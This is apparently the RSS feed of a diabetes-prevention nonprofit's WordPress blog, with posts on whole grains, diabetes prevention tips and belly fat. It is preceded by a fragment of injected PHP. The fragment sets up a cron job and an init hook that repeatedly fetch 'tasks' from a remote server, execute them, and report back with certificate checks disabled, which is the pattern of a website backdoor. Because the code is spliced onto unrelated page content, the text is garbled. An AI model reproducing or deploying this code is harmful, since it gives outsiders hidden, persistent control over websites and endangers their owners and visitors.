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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); whole grains – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Thu, 21 Feb 2013 00:54:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp whole grains – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 The Whole Deal With Whole Grains https://skinnygeneprojectnew.dreamsites.io/the-whole-deal-with-whole-grains/ https://skinnygeneprojectnew.dreamsites.io/the-whole-deal-with-whole-grains/#respond Thu, 21 Feb 2013 00:54:05 +0000 http://skinnygeneproject.dreamhosters.com/?p=1849 By Adriana Arredondo– Skinny Gene Nutrition Team

pic of whole grains- from Health-heaven

When we turn on the TV or open up a magazine we are bombarded with different ads for food. Most of these foods are advertised as being healthy with words such as “low fat” or “high fiber.” As a consumer, it can be so overwhelming! One of the new trends has become advertising food as being a whole grain product or high in fiber. Does that mean that all brown bread is whole grain or that Trix is healthy for me because it says whole grain on the box?

First off you may ask yourself…

What is a whole grain?grain anatomy

A whole grain contains the entire kernel of grain which is: the germ, bran, and endosperm.  The grain can be cracked or crushed, but to be considered a whole grain the end product needs to have 100% of the original kernel.  Most products that are processed are missing the entire bran component.

Why should I eat whole grain products?

Research has shown that when we regularly eat whole grains instead of processed grains  there is a link between : having a healthy weight, improving cholesterol levels, lowering blood pressure, reducing the risk of heart disease and type two diabetes, and can help prevent certain cancers!

How much whole grains do I need?

It is recommended that we consume at least half of our grains from whole grain products. That would mean that adults would need about three to five servings of whole grains and that children would need about two to three servings.  A serving of whole grains is defined as 16g of a whole grain food.

There seems to be a perception that adding whole grains would add to an increase in calories and/or carbohydrates in our diets. But, as you can see, it’s really more that we are substituting whole grains for processed grains. One of the benefits of whole grains products is that they also have fiber. Fiber helps keep us fuller for a longer period of time, so if you’re trying to lose weight whole grains would actually help!

Where can I find whole grains?

It’s very important to read the label! There are so many products out there that appear to be whole grains that it can be hard to distinguish which products are whole grain and which are processed. Looking for key words such as: whole grain or whole wheat can help you choose the right products.  Examples of some popular whole grain products:

  • Brown rice
  • Buckwheat
  • Whole grain pasta
  • Whole grain bread
  • Quinoa

It is easier than you think to add these whole grain products to your diet! You can always start by slowing switching products out such as eating half white rice and half brown rice.

There are so many health benefits to incorporating whole grains into our diets, and as a consumer you are know more aware of how to find these products. So don’t be scared to go into the “health food” section of your grocery store and pick up some quinoa or buckwheat.

Works cited

Add Whole Grains for Better Health. Mayo Clinic (2011.)  Retrieved from http://www.mayoclinic.org/news2011-mchi/6145.html

Whole Grains 101. Whole Grains Council Whole grains at Every Meal. Retrieved from http://wholegrainscouncil.org/whole-grains-101/what-counts-as-a-serving

]]> https://skinnygeneprojectnew.dreamsites.io/the-whole-deal-with-whole-grains/feed/ 0 Diabetes Prevention: 5 Tips for Taking Control https://skinnygeneprojectnew.dreamsites.io/diabetes-preventioin-5-tips-for-taking-control/ https://skinnygeneprojectnew.dreamsites.io/diabetes-preventioin-5-tips-for-taking-control/#respond Tue, 28 Sep 2010 17:22:32 +0000 http://skinnygene.wordpress.com/?p=662 The MayoClinic posted a great article which includes 5 tips for preventing diabetes. We couldn’t have said it better 🙂

If you have additional questions about how you can prevent diabetes or would like some help making positive lifestyle changes in your life, we would like the opportunity to speak with you! To contact us, please CLICK HERE!

[Skinny Gene Project is a 501(c)(3) non-profit organization that helps others make positive lifestyle change to prevent the further development of type 2 diabetes.]

Diabetes prevention: 5 tips for taking control

Tweaking your lifestyle could be a big step toward diabetes prevention — and it’s never too late to start. Consider these tips.

By Mayo Clinic staff

When it comes to type 2 diabetes — the most common type of diabetes — prevention is a big deal. It’s especially important to make diabetes prevention a priority if you’re at increased risk of diabetes, for example, if you’re overweight or have a family history of the disease. In the United States alone, experts at the Centers for Disease Control and Prevention expect diabetes to affect more than 48 million people by 2050.

Tweaking your lifestyle could be a big step toward diabetes prevention — and it’s never too late to start. Diabetes prevention is as basic as losing extra weight and eating more healthfully. Consider the latest diabetes prevention tips from the American Diabetes Association.

Tip 1: Get more physical activity

There are many benefits to regular physical activity. It can help you lose weight but even if it doesn’t, it’s still important to get off the couch. Whether you lose weight or not, physical activity lowers blood sugar and boosts your sensitivity to insulin — which helps keep your blood sugar within a normal range.

Research shows that both aerobic exercise and resistance training can help control diabetes, but the greatest benefits come from a fitness program that includes both.

Tip 2: Get plenty of fiber

It’s rough, it’s tough — and it may reduce the risk of diabetes by improving your blood sugar control. Fiber intake is also associated with a lower risk of heart disease. It may even promote weight loss by helping you feel full. Foods high in fiber include fruits, vegetables, beans, whole grains, nuts and seeds.

Tip 3: Go for whole grains

Although it’s not clear why, whole grains may reduce your risk of diabetes and help maintain blood sugar levels. Try to make at least half your grains whole grains. Many foods made from whole grains come ready to eat, including various breads, pasta products and ready-to-eat cereals. Look for the word “whole” on the package and among the first few items in the ingredient list.

Tip 4: Lose extra weight

If you’re overweight, diabetes prevention may hinge on weight loss. Every pound you lose can improve your health. And you may be surprised by how much. In one study, overweight adults who lost a modest amount of weight — 5 percent to 10 percent of initial body weight — and exercised regularly reduced the risk of developing diabetes by 58 percent over three years.

Tip 5: Skip fad diets and make healthier choices

Low-carb, low-glycemic load or other fad diets may help you lose weight at first, but their effectiveness at preventing diabetes isn’t known; nor are their long-term effects. And by excluding or strictly limiting a particular food group, you may be giving up essential nutrients. Instead, think variety and portion control as part of an overall healthy-eating plan.

Make it a team effort

The American Diabetes Association recommends blood glucose screening for everyone age 45 and older who’s overweight. If you’re older than age 45 and at a normal weight, ask your doctor about earlier testing. Also ask your doctor about testing if you’re younger than age 45 and overweight with one or more additional risk factors for type 2 diabetes — such as a sedentary lifestyle or a family history of diabetes.

Also share your concerns about diabetes prevention. Your doctor will applaud your efforts to keep diabetes at bay, and perhaps offer additional suggestions based on your medical history or other factors.

]]> https://skinnygeneprojectnew.dreamsites.io/diabetes-preventioin-5-tips-for-taking-control/feed/ 0 The Truth About Belly Fat https://skinnygeneprojectnew.dreamsites.io/the-truth-about-belly-fat/ https://skinnygeneprojectnew.dreamsites.io/the-truth-about-belly-fat/#respond Wed, 18 Aug 2010 17:31:23 +0000 http://skinnygene.wordpress.com/?p=589  
In our previous post, Getting Rid of the Jiggle Around Your Middle, Emily Barr (our wonderful Skinny Gene Registered Dietitian), talked about the importance of incorporating low-fat dairy into your diet. We recently saw this article The Truth About Belly Fat on Web MD and wanted to share it with you!
 
If you have any questions about the article below, or need some help trimming your waistline, we’re here to help!!
 
Simply CLICK HERE, and tell us a little about yourself. A member from our nutrition team will contact you shortly to answer your questions.
 
Now…on the the good stuff!
 
What’s the best way to trim your tummy?
 
Reviewed by Louise Chang, MD

Having a flat belly or so-called “six-pack abs” is a dream of most adults. If you’re middle-aged, have ever been pregnant, or sometimes indulge in too much food or one too many beers, you probably have a spare tire you’d like to get rid of. So what’s the best strategy for banishing belly fat? Is it as simple as adding certain foods to your diet, or doing particular exercises?

WebMD turned to the experts for answers on belly fat — and the best ways to lose it.

The Answer to Flatter Abs

Don’t despair; you can lose that spare tire, experts say. But there’s no secret formula.

“There is no magic bullet, diet plan, specific food, or type of exercise that specifically targets belly fat. But the good news is belly fat is the first kind of fat you tend to lose when you lose weight,” says Michael Jensen, MD, a Mayo Clinic endocrinology specialist and obesity researcher.

Whether you’re an “apple” shape with excess belly fat, or a “pear” with wide hips and thighs, when you lose weight, you’ll most likely lose proportionately more from the abdominal region than elsewhere.

“Ninety-nine percent of people who lose weight will lose it in the abdominal region before anywhere else — and will lose proportionately more weight from the upper body,” says Jensen, also a professor of medicine.

And why is that? “Visceral fat, the kind tucked deep inside your waistline, is more metabolically active and easier to lose than subcutaneous fat under the skin, especially if you have plenty of it,” explains Penn State researcher Penny Kris-Etherton, PhD, RD.

And the more weight you have to lose, the more quickly you’re likely to start losing your belly fat, experts say.

“People who are significantly overweight may see quicker results in their belly than someone who has less to lose in that area, such as a postmenopausal pouch,” says Georgia State University nutrition professor, Christine Rosenbloom, PhD, RD.

Can Whole Grains Help You Lose Belly Fat?

A recent study in the American Journal of Clinical Nutrition showed that a calorie-controlled diet rich in whole grains trimmed extra fat from the waistline of obese subjects.

Study participants who ate all whole grains (in addition to five servings of fruits and vegetables, three servings of low-fat dairy, and two servings of lean meat, fish, or poultry) lost more weight from the abdominal area than another group that ate the same diet, but with all refined grains.

“Eating a diet rich in whole grains while reducing refined carbohydrates changes the glucose and insulin response and makes it easier to mobilize fat stores,” says study researcher Penny Kris-Etherton, PhD, RD, a distinguished professor of nutritional sciences at Penn State University.

“Visceral fat is more metabolically active and easier to lose than subcutaneous fat, especially if you have plenty of it and the right conditions are met, such as the ones in our study.”

When you eat refined foods like white bread, it triggers a series of events, starting with elevated blood sugar levels followed by an increased insulin response, which can cause fat to be deposited more readily. But eating a diet rich in whole grains (which also tend to be higher in fiber) helps improve insulin sensitivity. This, in turn helps the body more efficiently use blood glucose, lowers blood glucose levels, and reduces fat deposition.

The U.S. Department of Agriculture’s 2005 Dietary Guidelines recommends that half of your grain servings come from whole grains.

“Eating whole grains exclusively may be difficult and unrealistic for many people,” says Rosenbloom. Instead, she recommends, “work toward consuming more whole grains, as they tend to be high in fiber, which satisfies hunger for longer periods and helps you eat less than refined grains.”

Can Monounsaturated Fats Banish Belly Fat?

A recent diet book called The Flat Belly Diet posits the idea that you can lose belly fat by eating a 1,600-calorie diet rich in monounsaturated fats.

Most people will lose weight on a 1,600-calorie diet. And there is little question that when it comes to choosing fats, the monounsaturated fatty acids (MUFAS) found in avocados, nuts, seeds, olives, soybeans, chocolate, olive and canola oils are among the best choices, with proven health benefits, such as reducing the risk of heart disease.

But these are not magic foods capable of targeting belly fat, experts note. While the MUFAS are healthy fats, they are still fats, with nine calories per gram — more than twice that of carbohydrates and proteins, which have four calories per gram.

“Fats have to be controlled, because it is easy to overeat nuts or guacamole — which can undo the health benefits by packing on the pounds,” cautions Rosenbloom.

Can Exercise Flatten Your Abs?

Hundreds of crunches each day won’t flatten your belly if you need to lose weight. If your abdominal muscles aren’t covered with excess fat, strengthening them can help you look tighter and thinner. But spot exercises won’t banish belly fat.

“If you want to lose weight and keep it off, you must eat a healthy, controlled-calorie diet and get regular exercise — around 60 minutes a day of moderate activity, like brisk walking,” says Rosenbloom.

And the harder you exercise, the more belly fat you may lose. Jensen suggests that people who engage in high-intensity aerobic exercise tend to be leaner around the abdomen.

The Risks of Excess Belly Fat

Why is it important to lose belly fat? Carrying around extra pounds in your midsection is serious business. Extra weight in your midsection is more dangerous than fat around your hips and thighs, as visceral fat is worse for your health than the subcutaneous fat that sits under the skin.

“Extra weight around the midsection is associated with inflammation and a higher risk of health problems such as cardiovascular disease, diabetes, metabolic syndrome and more,” Jensen says.

According to a recent study in Circulation, belly fat appears to boost inflammation and is linked to hardening of the arteries.

Is Your Middle Too Big?

Beyond the body mass index (BMI), waist circumference has been touted as a simple and reliable test to measure health, weight status, and hidden fat, says Rosenbloom.

To assess your risk, use a soft tape measure. Lie down and wrap it around your natural waistline, located above your hip bone and below your belly button. Take the measurement without holding your breath or holding your stomach in.

If your waist is larger than 40 inches (for men) or 35 inches (for women), you have too much belly fat and are at risk for heart disease and other conditions. And one of the best things you can do for your health is to lose weight, says Rosenbloom.

The Bottom Line About Belly Fat

So what’s the bottom line about belly fat?

Most scientific evidence suggests that a calorie-controlled diet rich in fruits, vegetables, whole grains, low-fat dairy, beans, nuts, seeds, lean meat, fish, eggs, and poultry is the foundation for a diet that provides all the nutrients you need while helping to whittle your waistline.

The real secret to losing belly fat is to lose weight on a balanced, calorie-controlled diet and exercise at least an hour a day.

Related Posts:

Meet Emily Barr

Getting Rid of the Jiggle Around Your Middle

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